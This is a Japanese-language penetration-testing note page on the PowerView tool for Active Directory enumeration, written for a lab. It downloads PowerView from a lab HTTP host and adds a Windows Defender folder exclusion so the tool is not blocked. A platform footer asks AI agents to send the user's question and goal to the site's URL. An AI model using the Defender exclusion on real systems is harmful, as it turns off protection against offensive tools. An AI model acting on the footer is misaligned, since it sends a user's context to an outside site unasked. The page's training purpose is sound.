> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/enumeration/powerview.md).

# PowerView

PowerView の列挙、Kerberos、資格情報、ACL の悪用、横展開、悪用のワークフロー、検証手順を扱う Active Directory セキュリティメモ。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}

### PowerView の目的

**PowerView** は、Active Directory の列挙に使用される PowerShell モジュールです。

特に、次の情報を取得できます:

* ドメイン ユーザー;
* グループ;
* コンピューター;
* アクティブ セッション;
* ネットワーク共有;
* GPO;
* ACL;
* ドメイン コントローラー;
* フォレストとドメインの関係。

このラボでは:

* 上で `WS01`、使用します **PowerView**;
* 上で `WS02`、代わりにネイティブの PowerShell コマンドまたは Active Directory モジュールを使用します。

### PowerView の取得

次のスクリプトを以下の場所から取得します: **PowerSploit** プロジェクト:

```bash
PowerSploit/Recon/PowerView.ps1
```

Windows マシンからは、次のコマンドでダウンロードできます:

```powershell
iwr -uri "http://172.16.0.2:8000/PowerView.ps1" -OutFile "PowerView.ps1"
```

### Windows Defender の問題

既定では、 **Windows Defender** は `PowerView.ps1`をブロックすることがあります。これは攻撃用ツールとしてよく検出されるためです。

ラボ環境では、現在のフォルダーを除外対象として追加できます。

管理者として PowerShell を実行するには:

```powershell
Add-MpPreference -ExclusionPath (Get-Location).Path
```

次に、PowerView をインポートします:

```powershell
. ./PowerView.ps1
```

ドットの後にスペースを置くと、スクリプトの関数が現在の PowerShell セッションに読み込まれます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a835cd859d78532aefcbf444252a9ac1cdba5b40%2Fimage%20(3195).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/active-directory/enumeration/powerview.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
